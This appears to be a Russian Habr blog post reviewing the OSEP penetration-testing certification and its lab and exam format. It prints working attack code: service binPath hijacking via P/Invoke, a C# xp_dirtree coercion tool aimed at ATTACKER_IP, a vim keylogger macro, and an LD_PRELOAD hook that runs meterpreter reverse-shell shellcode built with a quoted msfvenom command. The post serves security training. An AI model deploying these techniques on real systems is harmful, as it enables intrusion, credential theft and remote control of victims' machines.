Сертификация OSEP, и с чем ее едят

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Привет, Хабр!

Относительно недавно (в масштабах вечности) я сдал экзамен Offensive Security Experienced Penetration Tester в рамках курса PEN-300 от Offensive Security.

В этой публикации я постараюсь рассказать о том, что это за сертификация, как проходит экзамен, как устроены лабы, и какие навыки можно приобрести по окончании обучения. По тексту я буду приводить много ссылок на внешние ресурсы, освещающие темы, о которых говорится в курсе — для того, чтобы читатель смог оценить, готов ли он к началу обучения, или стоит еще покачать скил в области тестирования на проникновение.

Пошли под кат.

OSEP и правда сильно отличается от своего предшественника — сертификации OSCP, о которой не писал только ленивый, во всех аспектах: от структуры методички и устройства лабораторных до финального экзамена. Для себя я выделил пять основных тем, повторение / более глубокое изучение которых было для меня наиболее полезным из всего курса:

  1. Разбор техник уклонения от средств защиты (AV/EDR).

  2. Абьюз окружения среды AD для горизонтального перемещения.

  3. Взаимодействие с инстансами MS SQL Server для развития атак на домен.

  4. Атаки на трасты AD.

  5. Постэксплуатация по части Linux-машин.

Чтобы сильно не спойлерить содержание методички (объем которой более 700 стр., к слову), я своими словами кратко расскажу о том, что мне понравилось в каждой обозначенной теме.

Примечание

Материал для этой статьи пролежал в черновиках почти год, поэтому допускаю, что содержание курса с тех пор могло измениться, и я не описал чего-то такого, о чем стоило бы обязательно упомянуть.

Разбор базовых техник уклонения от средств защиты

Сразу хочется отметить, что практически в каждом разделе обучения активно используется язык C#, уже давно являющийся неофициальным стандартом «де-факто» для разработки наступательного вооружения.

Причин тому несколько: во-первых, несмотря на управляемый CRL-код, в который генерятся бинари C#, из него очень удобно «дергать» ручки Windows API для триггера вредоносной нагрузки.

Во-вторых, нативная интеграция этого языка с ОС Windows позволяет выполнять собранные программы из памяти с помощью механизма Reflection.Assembly, что очень усложняет жизнь антивирусам и прочему «нехорошему» софту в контексте пресечения нежелательной по его мнению активности (см. metasploit-execute-assembly, In-memory .NET Assembly Execution и т. д.).

В-третьих, большая фанбаза этого языка из сильных спецов по наступательной безопасности обеспечивает его самыми разными плюшками для L33T-разработки малвари.

Тут вам и:

Тривиальный пример (не из курса) для получения «метера» без алертов от AV в 15 строк (не считая шеллкода) через мощнейший механизм GetDelegateForFunctionPointer показывает всю гибкость этого языка, местами не уступающую этим вашим C++.

"I've got a meterpreter shell? No way!"
"I've got a meterpreter shell? No way!"
Разумеется, ведь внутри нет подозрительных вызовов. Ведь так?
Разумеется, ведь внутри нет подозрительных вызовов. Ведь так?
Оч плохая музыка
Оч плохая музыка
Не C# едины

Дополнительно оговорюсь, что курс не предлагает зиродей техник для байпаса аверов, но, получив знание базовых методов и наметив примерный вектор развития, можно по традиции разресерчить интересующую вас тему более глубоко самостоятельно.

Безфайловые передвижения в AD

Тема эксплуатации Active Directory проходит красной линией через весь курс — одна из причин, почему он мне так зашел. Один простой пример крафта легитимной программы для бокового продвижения ниже.

Все знают о замечательном PsExec из состава Sysinternals, флаггинг которого со стороны AV уже считается хорошим тоном. То же самое касается и его младшего брата — psexec.py из Impacket.

Однако не все знают, что исполнить код на другой машине можно и без создания подозрительных служб с рандомным названием: просто измени binPath= редко используемого сервиса удаленно с помощью SCM на свой любимый загрузочный кредл, and u r good2go!

Для этого будет достаточно дернуть 5 вызовов из advapi32.dll. В синтаксисе P/Invoke это выглядит примерно так:

// Для получения хэндла SCM
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

// Для получения хэндла целевой службы
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);

// Для запроса информации о текущем бинаре службы (для его последующего восстановления)
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);

// Для изменения текущего бинаря службы
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);

// Для запуска службы
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
PoC

Таким образом можно получить RCE от имени системы на машине-жертве. Хорошие кандидаты служб, по умолчанию запускаемых вручную, изменение которых не скажется на работе сотрудников Заказчика (вендоры EDR, записываем):

Все, что рассказывается в OSEP, тем или иным образом уже исследовано специалистами ИБ, и эта техника не исключение. Для лучшего понимания ее вооружения рекомендуется изучить проекты SharpNoPSExec и SCShell.

Взаимодействие с MS SQL

В дефолтной настройке MS SQL Server до ревизии 2019 любая доменная учетка с public-ролью может вызвать SSRF ограниченного действия для провоцирования коэрцитивной аутентификации на машине по выбору атакующего. Это широко известно в народе как UNC Path Injection.

Если в инфраструктуре нет жесткой фильтрации трафика по 445-м портам, можно пустить собак на поиск узлов, где целевая УЗ SQL потенциально может являться локальным админом, и зарелеить туда NTLM2 response от пришедшей аутентификации. Ок, ок, всем известно...

Раньше я пользовался для этих целей средствами PowerUpSQL, но в последнее время все чаще сталкиваешься с ситуациями, когда использование PowerShell сильно ограничено разными AMSI-ями и CLM-режимами. Куда менее трудозатратно, чем тестировать способы обхода этого добра в конкретной среде — скомпилировать простую программу на C# с единственным вызовом xp_dirtree / xp_fileexist и дальше радоваться своей беззаботной жизни.

// SQL.exe <SERVER_IP> <ATTACKER_IP>

using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            string sqlServer = args[0];
            string database = "master";
            string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("[+] Auth success!");
            }
            catch
            {
                Console.WriteLine("[-] Auth failed :(");
                Environment.Exit(0);
            }

            SqlCommand command = new SqlCommand($@"EXEC master..xp_dirtree '\\{args[1]}\pwn\pwn.txt';", con);
            SqlDataReader reader = command.ExecuteReader();
            reader.Close();
            con.Close();
        }
    }
}
DAFT & ESC

Возможно, это не самый показательный пример для демонстрации пользы от курса, т. к. эта техника давно известна широкой аудитории. Однако сам факт подхода к известным атакам с помощью кастомного кода хорошо характеризует OSEP.

Атаки на трасты AD

«Обратите внимание, что домен Active Directory не является границей безопасности; лес AD является» — Шон Меткалф (источник).

Здесь речь шла, в основном, о том, как эксплуатировать ExtraSids Hopping для захвата родительского домена из дочернего (или наоборот). В силу существования двустороннего доверия типа Parent-Child эта атака возможна «by design» и является скорее фичей, а не багом.

Атакующий крафтит Golden Ticket с помощью мимика или импакета и добавляет значение SID доверенной междоменной УЗ в свойство sIDHistory поля PAC билета Kerberos, получая таким образом «сфорженный» Inter-Realm TGT. Далее всю работу за нас выполнит контроллер домена и запросит вполне легитимный билет у доверяющего DC, который можно использовать для доступа к ресурсам последнего.

Однако не все так просто, когда нужно атаковать другой лес AD (Forest Trust), т. к. в этом случае фильтрация SID-ов активна по умолчанию и надурить контроллер уже не получится.

Одна из интересных возможностей для атаки — проверить, не находится ли доменная среда в условиях миграции ресурсов, другими словами, не могут ли пользователи доверяемого леса обращаться к ресурсам доверяющего леса (спойлер: в таком состоянии инфраструктура организации может находиться годами). В этом случае администратор доверяющего леса отключает механизм фильтрации SID-ов с помощью netdom, и FOREST_TRANSITIVE траст волшебным образом превращается в траст типа TREAT_AS_EXTERNAL.

netdom.exe trust forestB.net /d:forestA.net /enablesidhistory:yes

Это открывает интересные возможности для атакующего.

Учетные записи с RID-ом выше 1000 (т. е. не встроенные УЗ) по задумке «мелкомягких» не фильтруются при междоменной аутентификации с типом траста TREAT_AS_EXTERNAL. Это позволяет эффективно использовать классический ExtraSids Hopping, указывая значение такого SID-а в процессе изготовки тикета.

PowerView

Другой особенностью, на которую также нужно обращать внимание — членство УЗ, SID которой мы инжектим в тикет, в глобальных доменных группах (таких как Enterprise Admins и Domain Admins). На такие УЗ механизм SID Filtering распространяется даже при доверии TREAT_AS_EXTERNAL и атака не увенчается успехом.

Визуализация трастов

Целимся в Linux

Когда речь заходит об инфраструктурном пентесте, с высокой долей вероятности специалист окажется в гетерогенной среде, где присутствуют и Linux-машины в том числе. Для демонстрации реализации бизнес-рисков, скорее всего, придется искать путь на тачки с линуксами, ведь именно на них и разворачивают гитлабы, конфлюенсы, свифты, а там уже окажутся полезными знания, касающиеся постэксплуатации соответствующей ОС.

Для меня интересным кейсом стал пример создания простого кейлоггера с помощью VIM, когда у атакующего есть низкопривелигированный доступ на Linux-машину, и ему хотелось бы разжиться кредами в плейнтексте или содержимым защищенных для чтения файлов. Для этого Offensive Security предлагают использовать такой макрос:

:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif

Когда атакуемый пользователь полезет редактировать файлы с sudo, содержимое сохранится в /tmp/tmp0x031337.

Также не редкость ситуация, когда Linux-машина является частью домена AD. В этом случае полезно поохотиться за тикетами, сохраненными в формате KRB5CCACHE (в директории /tmp), а в случае привилегированного доступа к хосту — за файлами keytab (обычно находятся там же).

Не стоит пренебрегать и классической техникой хуков легитимных функций с помощью LD_PRELOAD. Например, посмотрим, какие функции вызываются в процессе запуска утилиты /usr/bin/cp.

Трассировка вызовов утилиты копирования файлов
Трассировка вызовов утилиты копирования файлов

Функция getuid выглядит как хороший кандидат для угона. С помощью следующей библиотеки можно форкнуть текущий процесс в момент исполнения getuid и подгрузить свой шеллкод:

// gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
// gcc -shared -o evilgetuid.so evilgetuid.o -ldl
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] = 
"\x31\x33...\x33\x37";

uid_t geteuid(void)
{
        typeof(geteuid) *getuid_orig;
        getuid_orig = dlsym(RTLD_NEXT, "geteuid");

        if (fork() == 0) // if inside the forked process
        {
                setuid(0);
                setgid(0);
                printf("Function hooked!\n");

                int bufsize = (int)sizeof(buf);
                for (int i = 0; i < bufsize-1; i++) {
                    buf[i] = buf[i] ^ 'a';
                }

                intptr_t pagesize = sysconf(_SC_PAGESIZE);
                if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
                        perror("mprotect");
                        return -1;
                }

                int (*ret)() = (int(*)())buf;
                ret();
        }
        else // if inside the original process
        {
                printf("Returning from original...\n");
                return (*getuid_orig)();
        }

        printf("Returning from main...\n");
        return -2;
}

После компиляции достаточно создать алиас для sudo, автоматически загружающий библиотеку по пути, заданному в переменной окружения, и дождаться запуска утилиты cp пользователем-жертвой:

alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"

Лабораторные и экзамен

Для каждого раздела методички существует тренировочная лаба, обычно представляющая из себя Windows-хост для разработки со всем необходимым ПО и хосты-жертвы, на которых подразумевается отработка описываемых техник.

По завершении методички, обучающемуся будет предложено выполнить 6 челленджей, каждый из которых представляет «инфраструктуру в миниатюре» (5 лаб из 6 — это доменная среда). Первые 3 лабы — затравочка для отработки изученных техник в боевых условиях, последние 3 — приближенные к экзамену задачи, над которыми придется повозиться.

На экзамене студенту будет предложена легенда вокруг компании, заказавшей проведение внешнего пентеста с проникновением во внутреннюю сеть. На борде для сдачи флагов, будет красоваться финальная цель — имя хоста, куда нужно получиться доступ для получения сокровенного флага secret.txt.

Есть два способа успешного сдачи экзамена:

  1. Зарутать не менее 10 машин. За каждый пруф дается по 10 баллов. Для сдачи нужно 100.

  2. Получить доступ к файлу secret.txt на финальном сервере. В этом случае неважно, сколько хостов ты зарутал, экзамен все равно будет засчитан (я пошел этим путем).

На экзамене, в отличие от великого и ужасного OSCP можно пользоваться meterpreter-ом, SQLMap-ом и другими тулзами для автоэксплуатации. Запрет только на коммерческие инструменты.

Заключение

Я и правда очень доволен, что мне довелось пройти этот курс. OSEP следует классической схеме офенсивов "Try harder", и это не может не радовать, а главным достоинством курса я считаю искреннее желание авторов привить любовь обучающемуся в плане проведения собственных исследований в поиске новых техник из той или иной области тестирования на проникновение.

Источник: https://habr.com/ru/company/angarasecurity/blog/580078/


Интересные статьи

Интересные статьи

В операционных системах Windows поддерживаются различные объектные инфраструктуры. Для доступа к ним можно использовать интерфейсы прикладного программирования (API), но разработка полноценны...
Много всякого сыпется в мой ящик, в том числе и от Битрикса (справедливости ради стоит отметить, что я когда-то регистрировался на их сайте). Но вот мне надоели эти письма и я решил отписатьс...
Бизнес-смыслы появились в Битриксе в начале 2016 года, но мало кто понимает, как их правильно использовать для удобной настройки интернет-магазинов.
Добрый день, уважаемый читатель. Существует такой класс продуктов как ESB. Как упоминается в Википедии это — связующее программное обеспечение, обеспечивающее централизованный и унифициров...
Одной из «киллер-фич» 12й версии Битрикса была объявлена возможность отдавать статические файлы из CDN, тем самым увеличивая скорость работы сайта. Попробуем оценить практический выигрыш от использова...